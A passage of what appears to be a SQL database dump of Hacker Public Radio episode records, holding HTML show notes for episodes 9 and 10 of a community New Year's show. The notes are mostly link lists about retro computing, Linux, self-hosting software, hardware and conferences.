Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3874,'2023-06-08','2022-2023 New Years Show Episode 9',7380,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-9\">Episode #9</h2>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/MS-DOS\">wikipedia:</a> MS-DOS\nis an operating system for x86-based personal computers mostly developed\nby Microsoft.</li>\n<li><a href=\"https://www.freedos.org/\">freedos:</a> FreeDOS is a\ncomplete, free, DOS-compatible operating system. While we provide some\nutilities, you should be able to run any program intended for\nMS-DOS.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Linux\">wikipedia:</a> Linux\n(/&#x2C8;li&#x2D0;n&#x28A;ks/ (listen) LEE-nuuks or /&#x2C8;l&#x26A;n&#x28A;ks/ LIN-uuks) is a family of\nopen-source Unix-like operating systems based on the Linux kernel, an\noperating system kernel first released on September 17, 1991, by Linus\nTorvalds.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Token_Ring\">wikipedia:</a>\nToken Ring is a computer networking technology used to build local area\nnetworks. It was introduced by IBM in 1984, and standardized in 1989 as\nIEEE 802.5.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/BNC_connector\">wikipedia:</a>\nThe BNC connector (initialism of \"Bayonet Neill&#x2013;Concelman\") is a\nminiature quick connect/disconnect radio frequency connector used for\ncoaxial cable.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/GPRS_core_network\">wikipedia:</a>\nGPRS core network.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Novell\">wikipedia:</a>\nNovell, Inc. /no&#x28A;&#x2C8;v&#x25B;l/ was an American software and services company\nheadquartered in Provo, Utah, that existed from 1980 until 2014.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/BITNET\">wikipedia:</a>\nBITNET.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/DECnet\">wikipedia:</a>\nDECnet.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/3Com\">wikipedia:</a>\n3Com.</li>\n<li><a href=\"https://www.realtek.com/en/\">realtek:</a> realtek.</li>\n<li><a href=\"https://www.tp-link.com/us/\">tp:</a> TP-Link Vastly Expands\nSmart Home Lineup With Tapo Full Home Security Solutions, Tapo Robot\nVacuums and Various Matter Compatible Products.</li>\n<li><a href=\"https://www.cisco.com/\">cisco:</a> Cisco Systems, Inc.,\ncommonly known as Cisco, is an American-based multinational digital\ncommunications technology conglomerate corporation headquartered in San\nJose, California.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/IBM\">wikipedia:</a> The\nInternational Business Machines Corporation (IBM), nicknamed Big Blue,\nis an American multinational technology corporation headquartered in\nArmonk, New York, with operations in over 175 countries. It specializes\nin computer hardware, middleware and software and provides hosting and\nconsulting services in areas ranging from mainframe computers to\nnanotechnology.</li>\n<li><a\nhref=\"https://duckduckgo.com/?q=bootleg+stuff&amp;t=ffab&amp;iax=images&amp;ia=images\">duckduckgo:</a>\nBootleg stuff search.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/VM_(operating_system)\">wikipedia:</a>\nVM (often: VM/CMS) is a family of IBM virtual machine operating systems\nused on IBM mainframes System/370, System/390, zSeries, System z and\ncompatible systems, including the Hercules emulator for personal\ncomputers.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Disk_partitioning\">wikipedia:</a>\nDisk partitioning or disk slicing is the creation of one or more regions\non secondary storage, so that each region can be managed\nseparately.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/IBM_System/360\">wikipedia:</a> The\nIBM System/360 is a family of mainframe computer systems that was\nannounced by IBM on April 7, 1964, and delivered between 1965 and\n1978.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/IBM_System/370\">wikipedia:</a> The\nIBM System/370 (S/370) is a model range of IBM mainframe computers\nannounced on June 30, 1970, as the successors to the System/360\nfamily.</li>\n<li><a\nhref=\"https://www.cisco.com/c/en/us/products/routers/what-is-routing.html\">cisco:</a>\nWhat Is Routing?</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Internet_protocol_suite\">wikipedia:</a>\nThe Internet protocol suite, commonly known as TCP/IP, is a framework\nfor organizing the set of communication protocols used in the Internet\nand similar computer networks according to functional criteria.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/OSI_protocols\">wikipedia:</a>\nThe Open Systems Interconnection protocols are a family of information\nexchange standards developed jointly by the ISO and the ITU-T. The\nstandardization process began in 1977.</li>\n<li><a href=\"https://www.perl.org/\">perl:</a> Perl is a highly capable,\nfeature-rich programming language with over 30 years of\ndevelopment.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/FTP_server\">wikipedia:</a> An\nFTP server is computer software consisting of one or more programs that\ncan execute commands given by remote client(s) such as receiving,\nsending, deleting files, creating or removing directories, etc.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/DARPA\">wikipedia:</a> The\nDefense Advanced Research Projects Agency (DARPA) is a research and\ndevelopment agency of the United States Department of Defense\nresponsible for the development of emerging technologies for use by the\nmilitary.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/ARPANET\">wikipedia:</a> The\nAdvanced Research Projects Agency Network (ARPANET) was the first\nwide-area packet-switched network with distributed control and one of\nthe first networks to implement the TCP/IP protocol suite.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Modem\">wikipedia:</a> A\nmodulator-demodulator or modem is a computer hardware device that\nconverts data from a digital format into a format suitable for an analog\ntransmission medium such as telephone or radio.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Telnet\">wikipedia:</a> Telnet\n(short for \"teletype network\") is a client/server application protocol\nthat provides access to virtual terminals of remote systems on local\narea networks or the Internet.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Remote_Function_Call\">wikipedia:</a>\nRemote Function Call is a proprietary SAP interface.</li>\n<li><a href=\"https://icannwiki.org/BBN\">icannwiki:</a> BBN (Bolt,\nBeranek and Newman Inc.), now Raytheon BBN Technologies, is one of the\nleading Research and Development companies in the United States,\ndedicated to providing high-technology products and services to\nconsumers.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Punched_card\">wikipedia:</a>\nA punched card (also punch card or punched-card) is a piece of stiff\npaper that holds digital data represented by the presence or absence of\nholes in predefined positions.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Punched_tape\">wikipedia:</a>\nPunched tape or perforated paper tape is a form of data storage that\nconsists of a long strip of paper in which holes are punched.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Teleprinter\">wikipedia:</a> A\nteleprinter (teletypewriter, teletype or TTY) is an electromechanical\ndevice that can be used to send and receive typed messages through\nvarious communications channels, in both point-to-point and\npoint-to-multipoint configurations.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Teletype_Model_33\">wikipedia:</a>\nTeletype Model 33.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Teletype_Model_37\">wikipedia:</a>\nTeletype Model 37.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Unix\">wikipedia:</a> Unix\n(/&#x2C8;ju&#x2D0;n&#x26A;ks/; trademarked as UNIX) is a family of multitasking, multiuser\ncomputer operating systems that derive from the original AT&amp;T Unix,\nwhose development started in 1969 at the Bell Labs research center by\nKen Thompson, Dennis Ritchie, and others.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Wang_Laboratories\">wikipedia:</a>\nWang Laboratories was a US computer company founded in 1951 by An Wang\nand G. Y. Chu.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Library_(computing)\">wikipedia:</a>\nLibrary (computing).</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Magnetic-core_memory\">wikipedia:</a>\nMagnetic-core memory was the predominant form of random-access computer\nmemory for 20 years between about 1955 and 1975.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/BASIC\">BASIC</a> BASIC\n(Beginners\' All-purpose Symbolic Instruction Code) is a family of\ngeneral-purpose, high-level programming languages designed for ease of\nuse. The original version was created by John G. Kemeny and Thomas E.\nKurtz at Dartmouth College in 1963.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Microsoft_BASIC\">wikipedia:</a>\nMicrosoft BASIC is the foundation software product of the Microsoft\ncompany and evolved into a line of BASIC interpreters and compiler(s)\nadapted for many different microcomputers. It first appeared in 1975 as\nAltair BASIC, which was the first version of BASIC published by\nMicrosoft as well as the first high-level programming language available\nfor the Altair 8800 microcomputer.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Floppy_disk\">wikipedia:</a> A\nfloppy disk or floppy diskette (casually referred to as a floppy, or a\ndiskette) is an obsolescent type of disk storage composed of a thin and\nflexible disk of a magnetic storage medium in a square or nearly square\nplastic enclosure lined with a fabric that removes dust particles from\nthe spinning disk.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Tape_drive\">wikipedia:</a> A\ntape drive is a data storage device that reads and writes data on a\nmagnetic tape.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Microarchitecture\">wikipedia:</a> In\ncomputer engineering, microarchitecture, also called computer\norganization and sometimes abbreviated as &#xB5;arch or uarch, is the way a\ngiven instruction set architecture (ISA) is implemented in a particular\nprocessor.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Microsleep\">wikipedia:</a> A\nmicrosleep is a sudden temporary episode of sleep or drowsiness which\nmay last for a few seconds where an individual fails to respond to some\narbitrary sensory input and becomes unconscious.</li>\n<li><a\nhref=\"https://clevo-computer.com/en/laptops-configurator/\">clevo:</a> We\noffer over 50 models from CLEVO.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Clevo\">wikipedia:</a> Clevo\nis a Taiwanese OEM/ODM computer manufacturer which produces laptop\ncomputers exclusively.</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Rapid_transit\">wikipedia:</a>\nRapid transit or mass rapid transit (MRT), also known as heavy rail or\nmetro, is a type of high-capacity public transport generally found in\nurban areas.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Cracker_Jack\">wikipedia:</a>\nCracker Jack is an American brand of snack food that consists of\nmolasses-flavored, caramel-coated popcorn, and peanuts, well known for\nbeing packaged with a prize of trivial value inside.</li>\n<li><a\nhref=\"https://www.gov.uk/browse/driving/driving-licences\">gov:</a> UK\nDriver\'s Licence.\n<ul>\n<li><a\nhref=\"https://www.gov.uk/legal-obligations-drivers-riders\">gov:</a>\nLegal obligations of drivers and riders.</li>\n</ul></li>\n<li><a href=\"https://www.sheilaswheels.com/\">sheilaswheels:</a> We keep\nour Sheilas happy by supplying fabulous 5 Star Defaqto rated car and\nhome insurance, and that\'s helped us to become one of the UK\'s leading\ndirect insurers.</li>\n<li><a\nhref=\"https://www.nestle.co.uk/en-gb/brands/chocolate_and_confectionery/chocolate/yorkie\">nestle:</a>\nYorkie was launched in 1976 by Rowntree\'s of York hence the name.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Joyride_(crime)\">wikipedia:</a>\nJoyriding refers to driving or riding in a stolen vehicle, most commonly\na car, with no particular goal other than the pleasure or thrill of\ndoing so or to impress other people.</li>\n<li><a href=\"https://www.oggcamp.org/\">oggcamp:</a> OggCamp is an\nunconference celebrating Free Culture, Free and Open Source Software,\nhardware hacking, digital rights, and all manner of collaborative\ncultural activities and is committed to creating a conference that is as\ninclusive as possible.</li>\n<li><a href=\"https://ubuntu.com/\">ubuntu:</a> Ubuntu is a Linux\ndistribution based on Debian and composed mostly of free and open-source\nsoftware.\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Ubuntu#Local_communities_(LoCos)\">wikipedia:</a>\nUbuntu.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Mark_Shuttleworth\">wikipedia:</a>\nMark Shuttleworth.</li>\n</ul></li>\n<li><a\nhref=\"https://ubuntu.com/blog/ubuntu-tablet-press-pack\">ubuntu:</a>\nUbuntu tablet press pack.</li>\n<li><a href=\"https://stallman.org/\">stallman:</a> Richard Stallman\'s\nPersonal Site.</li>\n<li><a href=\"https://elementary.io/\">elementary:</a> The thoughtful,\ncapable, and ethical replacement for Windows and macOS.</li>\n<li><a href=\"http://www.slackware.com/\">slackware:</a> The Slackware\nLinux Project.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Identi.ca\">wikipedia:</a>\nidenti.ca was a free and open-source social networking and blogging\nservice based on the pump.io software, using the Activity Streams\nprotocol.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/GNU_social\">wikipedia:</a>\nGNU social (previously known as StatusNet and once known as Laconica) is\na free and open source software microblogging server written in PHP that\nimplements the OStatus standard for interoperation between\ninstallations.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Friendica\">wikipedia:</a>\nFriendica (formerly Friendika, originally Mistpark) is a free and\nopen-source software distributed social network.</li>\n<li><a href=\"https://linuxlugcast.com/\">lugcast:</a> We are an open\nPodcast/LUG that meets every first and third Friday of every month using\nmumble.</li>\n<li><a href=\"https://www.toastmasters.org/\">toastmasters</a>\nToastmasters International is a nonprofit educational organization that\nteaches public speaking and leadership skills through a worldwide\nnetwork of clubs.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Motorola\">wikipedia:</a>\nMotorola, Inc. (/&#x2CC;mo&#x28A;t&#x259;&#x2C8;ro&#x28A;l&#x259;/) was an American multinational\ntelecommunications company based in Schaumburg, Illinois, United\nStates.</li>\n<li><a href=\"https://volla.online/en/index.html\">volla:</a> Volla\nPhone.</li>\n<li><a href=\"https://ubports.com/\">ubports:</a> We are building a secure\n&amp; private operating system for your smartphone.</li>\n<li><a href=\"https://sailfishos.org/\">sailfishos:</a> The mobile OS with\nbuilt-in privacy.</li>\n<li><a href=\"https://calyxos.org/\">calyxos:</a> CalyxOS is an operating\nsystem for smartphones based on Android with mostly free and open-source\nsoftware.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/WhatsApp\">wikipedia:</a>\nWhatsApp.</li>\n<li><a href=\"https://www.computerhope.com/jargon/i/irc.htm\">IRC</a> IRC\nis short for Internet Relay Chat. It is a popular chat service still in\nuse today.</li>\n<li><a href=\"https://zoom.us/\">zoom:</a> Unified communication and\ncollaboration platform.</li>\n<li><a href=\"https://jitsi.org/projects/\">jitsi:</a> Jitsi Free &amp;\nOpen Source Video Conferencing Projects.</li>\n<li><a href=\"https://joinmastodon.org/\">joinmastodon:</a> Mastodon is\nfree and open-source software for running self-hosted social networking\nservices.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Karen_Sandler\">wikipedia:</a>\nKaren Sandler is the executive director of the Software Freedom\nConservancy, former executive director of the GNOME Foundation, an\nattorney, and former general counsel of the Software Freedom Law\nCenter.</li>\n<li><a href=\"https://fosdem.org/2023/\">fosdem:</a> FOSDEM is a free\nevent for software developers to meet, share ideas and collaborate.</li>\n<li><a href=\"https://southeastlinuxfest.org/\">southeastlinuxfest:</a>\nThe SouthEast LinuxFest is a community event for anyone who wants to\nlearn more about Linux and Open Source Software.</li>\n<li><a href=\"https://olfconference.org/about/\">olfconference:</a> OLF\n(formerly known as Ohio LinuxFest) is a grassroots conference for the\nGNU/Linux/Open Source Software/Free Software community that started in\n2003 as a large inter-LUG (Linux User Group) meeting and has grown\nsteadily since.</li>\n<li><a href=\"https://www.linuxfests.org/\">linuxfests:</a> A home for\neducational programs focused on free and open source software &amp;\nculture.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Notacon\">wikipedia:</a>\nNotacon (pronounced \"not-a-con\") was an art and technology conference\nwhich took place annually in Cleveland, Ohio from 2003 to 2014.</li>\n<li><a href=\"https://penpalworld.com/\">penpalworld:</a> a place where\nyou can meet over 3,000,000 pen pals from every country on the\nplanet.</li>\n<li><a\nhref=\"https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux\">redhat:</a>\nRed Hat Enterprise Linux.</li>\n<li><a href=\"https://www.openssl.org/\">openssl:</a> The OpenSSL Project\ndevelops and maintains the OpenSSL software - a robust,\ncommercial-grade, full-featured toolkit for general-purpose cryptography\nand secure communication.</li>\n<li><a href=\"https://www.ed.gov/stem\">STEM</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Obsessive%E2%80%93compulsive_disorder\">wikipedia:</a>\nObsessive&#x2013;compulsive disorder.</li>\n<li><a href=\"https://www.cdc.gov/ncbddd/autism/screening.html\">cdc:</a>\nAutism.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Asperger_syndrome\">wikipedia:</a>\nAsperger syndrome.</li>\n<li><a\nhref=\"https://askubuntu.com/questions/343268/how-to-use-manual-partitioning-during-installation\">askubuntu:</a>\nManual partitioning during installation.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Colon_cancer_staging\">wikipedia:</a>\nColon cancer staging.</li>\n<li><a\nhref=\"https://www.cdc.gov/vaccines/parents/travel-vaccines.html\">cdc:</a>\nGet Vaccinated Before You Travel.</li>\n<li><a href=\"https://www.sqlite.org/index.html\">sqlite:</a> SQLite is a\nC-language library that implements a small, fast, self-contained,\nhigh-reliability, full-featured, SQL database engine.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Facial_recognition_system\">wikipedia:</a>\nFacial recognition system.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Tribalism\">wikipedia:</a>\nTribalism is the state of being organized by, or advocating for, tribes\nor tribal lifestyles.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Southern_hospitality\">wikipedia:</a>\nSouthern hospitality.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Kroger\">wikipedia:</a> The\nKroger Company, or simply Kroger, is an American retail company that\noperates (either directly or through its subsidiaries) supermarkets and\nmulti-department stores throughout the United States.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Prosopagnosia\">wikipedia:</a>\nProsopagnosia, more commonly known as face blindness, is a cognitive\ndisorder of face perception in which the ability to recognize familiar\nfaces, including one\'s own face, is impaired, while other aspects of\nvisual processing and intellectual functioning remain intact.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/T-Mobile\">wikipedia:</a>\nT-Mobile is the brand name used by some of the mobile communications\nsubsidiaries of the German telecommunications company Deutsche Telekom\nAG in the Czech Republic, Poland, the United States and by the former\nsubsidiary in the Netherlands.</li>\n<li><a\nhref=\"https://english.stackexchange.com/questions/38354/where-did-the-phrase-batsht-crazy-come-from#58159\">stackexchange:</a>\nWhere did the phrase \"batsh-t crazy\" come from?</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Conspiracy_theory\">wikipedia:</a> A\nconspiracy theory is an explanation for an event or situation that\nasserts the existence of a conspiracy by powerful and sinister groups,\noften political in motivation, when other explanations are more\nprobable.</li>\n<li><a href=\"https://www.brigs.com/\">brigs:</a> At Brigs, we want\neveryone to get exactly what they\'re craving!</li>\n<li><a href=\"https://www.papajohns.com/\">papajohns:</a> Papa Johns.</li>\n<li><a href=\"https://www.dominos.com/en/\">dominos:</a> Domino\'s Pizza,\nInc., trading as Domino\'s, is a Michigan-based multinational pizza\nrestaurant chain founded in 1960 and led by CEO Russell Weiner.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Loitering\">wikipedia:</a>\nLoitering is the act of remaining in a particular public place for a\nprolonged amount of time without any apparent purpose.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Psychiatric_hospital\">wikipedia:</a>\nPsychiatric hospitals, also known as mental health hospitals, behavioral\nhealth hospitals, are hospitals or wards specializing in the treatment\nof severe mental disorders, such as schizophrenia, bipolar disorder,\neating disorders, dissociative identity disorder, major depressive\ndisorder and many others.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Therapist\">wikipedia:</a>\nTherapist is a person who offers any kinds of therapy.</li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3884,'2023-06-22','2022-2023 New Years Show Episode 10',10355,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-10\">Episode #10</h2>\n<ul>\n<li><p>Tech And Coffee<br />\n<a href=\"https://techandcoffee.info/\"\nclass=\"uri\">https://techandcoffee.info/</a></p></li>\n<li><p>CDC COVID Death Toll<br />\n<a href=\"https://covid.cdc.gov/covid-data-tracker/#datatracker-home\"\nclass=\"uri\">https://covid.cdc.gov/covid-data-tracker/#datatracker-home</a></p></li>\n<li><p>Edinburgh<br />\n<a href=\"https://edinburgh.org/\"\nclass=\"uri\">https://edinburgh.org/</a></p></li>\n<li><p>Glasgow<br />\n<a\nhref=\"https://www.scotland.org/about-scotland/scotlands-stories/glasgow\"\nclass=\"uri\">https://www.scotland.org/about-scotland/scotlands-stories/glasgow</a></p></li>\n<li><p>Pixelfed - A decentralized social media photo sharing site<br />\n<a href=\"https://pixelfed.org/\"\nclass=\"uri\">https://pixelfed.org/</a></p></li>\n<li><p>Audacity<br />\n<a href=\"https://www.audacityteam.org/\"\nclass=\"uri\">https://www.audacityteam.org/</a></p></li>\n<li><p>Ice Cast<br />\n<a href=\"https://icecast.org/\"\nclass=\"uri\">https://icecast.org/</a></p></li>\n<li><p>Butt - Broadcast Using This Tool<br />\n<a href=\"https://danielnoethen.de/butt/\"\nclass=\"uri\">https://danielnoethen.de/butt/</a></p></li>\n<li><p>FOSDEM Brussels, 2023<br />\n<a href=\"https://fosdem.org/2023/news/2022-09-14-fosdem-2023-dates/\"\nclass=\"uri\">https://fosdem.org/2023/news/2022-09-14-fosdem-2023-dates/</a></p></li>\n<li><p>Arduboy Mini<br />\n<a\nhref=\"https://liliputing.com/arduboy-mini-hits-kickstarter-for-29-and-up-tiny-8-bit-game-console-with-300-games-included/\"\nclass=\"uri\">https://liliputing.com/arduboy-mini-hits-kickstarter-for-29-and-up-tiny-8-bit-game-console-with-300-games-included/</a></p></li>\n<li><p>Pine Tab 2<br />\n<a\nhref=\"https://arstechnica.com/gadgets/2022/12/pinetab-2-is-a-rockchip-based-linux-powered-repairable-tablet/\"\nclass=\"uri\">https://arstechnica.com/gadgets/2022/12/pinetab-2-is-a-rockchip-based-linux-powered-repairable-tablet/</a></p></li>\n<li><p>NVIDIA 3080<br />\n<a\nhref=\"https://www.nvidia.com/en-us/geforce/graphics-cards/30-series/rtx-3080-3080ti/\"\nclass=\"uri\">https://www.nvidia.com/en-us/geforce/graphics-cards/30-series/rtx-3080-3080ti/</a></p></li>\n<li><p>Pinebook Pro<br />\n<a href=\"https://www.pine64.org/pinebook-pro/\"\nclass=\"uri\">https://www.pine64.org/pinebook-pro/</a></p></li>\n<li><p>Pinenote<br />\n<a href=\"https://www.pine64.org/pinenote/\"\nclass=\"uri\">https://www.pine64.org/pinenote/</a></p></li>\n<li><p>GDP Win 4<br />\n<a\nhref=\"https://www.indiegogo.com/projects/gpd-win-4-smallest-6800u-handheld-console#/\"\nclass=\"uri\">https://www.indiegogo.com/projects/gpd-win-4-smallest-6800u-handheld-console#/</a></p></li>\n<li><p>Steam OS<br />\n<a href=\"https://store.steampowered.com/steamos\"\nclass=\"uri\">https://store.steampowered.com/steamos</a></p></li>\n<li><p>Steam Deck<br />\n<a href=\"https://store.steampowered.com/steamdeck\"\nclass=\"uri\">https://store.steampowered.com/steamdeck</a></p></li>\n<li><p>Docking Stations For Steam Deck<br />\n<a href=\"https://store.steampowered.com/steamdeckdock\"\nclass=\"uri\">https://store.steampowered.com/steamdeckdock</a></p></li>\n<li><p>HP Elitedesk G2 Mini<br />\n<a\nhref=\"https://support.hp.com/us-en/product/hp-elitedesk-800-35w-g2-desktop-mini-pc/7633266\"\nclass=\"uri\">https://support.hp.com/us-en/product/hp-elitedesk-800-35w-g2-desktop-mini-pc/7633266</a></p></li>\n<li><p>Plex<br />\n<a href=\"https://www.plex.tv/\"\nclass=\"uri\">https://www.plex.tv/</a></p></li>\n<li><p>Audio Bookshelf<br />\n<a href=\"https://www.audiobookshelf.org/\"\nclass=\"uri\">https://www.audiobookshelf.org/</a></p></li>\n<li><p>Jellyfin<br />\n<a href=\"https://jellyfin.org/\"\nclass=\"uri\">https://jellyfin.org/</a></p></li>\n<li><p>Helios NAS<br />\n<a href=\"https://kobol.io/\" class=\"uri\">https://kobol.io/</a></p></li>\n<li><p>Synology NAS<br />\n<a href=\"https://www.synology.com/en-us\"\nclass=\"uri\">https://www.synology.com/en-us</a></p></li>\n<li><p>VIA NAS Board (end of life)<br />\n<a href=\"https://www.viatech.com/en/support/eol/nas7800-eol/\"\nclass=\"uri\">https://www.viatech.com/en/support/eol/nas7800-eol/</a></p></li>\n<li><p>Huion Graphics Drawing Tablet<br />\n<a href=\"https://store.huion.com/\"\nclass=\"uri\">https://store.huion.com/</a></p></li>\n<li><p>X2GO<br />\n<a href=\"https://wiki.x2go.org/doku.php\"\nclass=\"uri\">https://wiki.x2go.org/doku.php</a></p></li>\n<li><p>Nicotine+<br />\n<a href=\"https://nicotine-plus.org/\"\nclass=\"uri\">https://nicotine-plus.org/</a></p></li>\n<li><p>Soulseek<br />\n<a href=\"http://www.slsknet.org/news/\"\nclass=\"uri\">http://www.slsknet.org/news/</a></p></li>\n<li><p>Diet Pi<br />\n<a href=\"https://dietpi.com/\"\nclass=\"uri\">https://dietpi.com/</a></p></li>\n<li><p>Yunohost<br />\n<a href=\"https://yunohost.org/#/\"\nclass=\"uri\">https://yunohost.org/#/</a></p></li>\n<li><p>Open Project<br />\n<a href=\"https://www.openproject.org/\"\nclass=\"uri\">https://www.openproject.org/</a></p></li>\n<li><p>Nextcloud<br />\n<a href=\"https://nextcloud.com/\"\nclass=\"uri\">https://nextcloud.com/</a></p></li>\n<li><p>Wire Guard<br />\n<a href=\"https://www.wireguard.com/\"\nclass=\"uri\">https://www.wireguard.com/</a></p></li>\n<li><p>Proxmox<br />\n<a href=\"https://www.proxmox.com/en/\"\nclass=\"uri\">https://www.proxmox.com/en/</a></p></li>\n<li><p>Linode<br />\n<a href=\"https://www.linode.com/\"\nclass=\"uri\">https://www.linode.com/</a></p></li>\n<li><p>Podman - manage containers<br />\n<a href=\"https://podman.io/\" class=\"uri\">https://podman.io/</a></p></li>\n<li><p>Open Media Vault<br />\n<a href=\"https://www.openmediavault.org/\"\nclass=\"uri\">https://www.openmediavault.org/</a></p></li>\n<li><p>NAS4FREE (now called XigmaNAS)<br />\n<a href=\"https://xigmanas.com/xnaswp/\"\nclass=\"uri\">https://xigmanas.com/xnaswp/</a></p></li>\n<li><p>SAMBA<br />\n<a href=\"https://www.samba.org/\"\nclass=\"uri\">https://www.samba.org/</a></p></li>\n<li><p>Wacom Intuos Drawing Tablets<br />\n<a href=\"https://www.wacom.com/en-us/products/pen-tablets/wacom-intuos\"\nclass=\"uri\">https://www.wacom.com/en-us/products/pen-tablets/wacom-intuos</a></p></li>\n<li><p>Garuda Linux<br />\n<a href=\"https://garudalinux.org/\"\nclass=\"uri\">https://garudalinux.org/</a></p></li>\n<li><p>btrfs (ButterFS)<br />\n<a href=\"https://btrfs.wiki.kernel.org/index.php/Main_Page\"\nclass=\"uri\">https://btrfs.wiki.kernel.org/index.php/Main_Page</a></p></li>\n<li><p>Jessica Garson<br />\n<a href=\"https://pyvideo.org/speaker/jessica-garson.html\"\nclass=\"uri\">https://pyvideo.org/speaker/jessica-garson.html</a></p></li>\n<li><p>Fox Dot - Live Coding with Python<br />\n<a href=\"https://github.com/Qirky/FoxDot\"\nclass=\"uri\">https://github.com/Qirky/FoxDot</a></p></li>\n<li><p>GTK<br />\n<a href=\"https://www.gtk.org/\"\nclass=\"uri\">https://www.gtk.org/</a></p></li>\n<li><p>bulky<br />\n<a href=\"https://pypi.org/project/bulky/\"\nclass=\"uri\">https://pypi.org/project/bulky/</a></p></li>\n<li><p>Toy Pizza Oven<br />\n<a\nhref=\"https://www.melissaanddoug.com/products/top-bake-pizza-counter-wooden-play-food\"\nclass=\"uri\">https://www.melissaanddoug.com/products/top-bake-pizza-counter-wooden-play-food</a></p></li>\n<li><p>Crayola Drawing Pad<br />\n<a\nhref=\"https://shop.crayola.com/toys-and-activities/ultimate-light-board-choose-your-color-7472.html\"\nclass=\"uri\">https://shop.crayola.com/toys-and-activities/ultimate-light-board-choose-your-color-7472.html</a></p></li>\n<li><p>Joplin<br />\n<a href=\"https://joplinapp.org/\"\nclass=\"uri\">https://joplinapp.org/</a></p></li>\n<li><p>Lotus Notes<br />\n<a href=\"https://en.wikipedia.org/wiki/HCL_Domino\"\nclass=\"uri\">https://en.wikipedia.org/wiki/HCL_Domino</a></p></li>\n<li><p>GNOTE<br />\n<a href=\"https://wiki.gnome.org/Apps/Gnote\"\nclass=\"uri\">https://wiki.gnome.org/Apps/Gnote</a></p></li>\n<li><p>SUSE Linux<br />\n<a href=\"https://www.suse.com/\"\nclass=\"uri\">https://www.suse.com/</a></p></li>\n<li><p>Keepass<br />\n<a href=\"https://keepass.info/\"\nclass=\"uri\">https://keepass.info/</a></p></li>\n<li><p>Blackberry<br />\n<a href=\"https://www.blackberry.com/us/en/products/devices\"\nclass=\"uri\">https://www.blackberry.com/us/en/products/devices</a></p></li>\n<li><p>InSync (Sync to Google drive)<br />\n<a href=\"https://www.insynchq.com/\"\nclass=\"uri\">https://www.insynchq.com/</a></p></li>\n<li><p>Keypass XC<br />\n<a href=\"https://keepassxc.org/\"\nclass=\"uri\">https://keepassxc.org/</a></p></li>\n<li><p>Bitwarden<br />\n<a 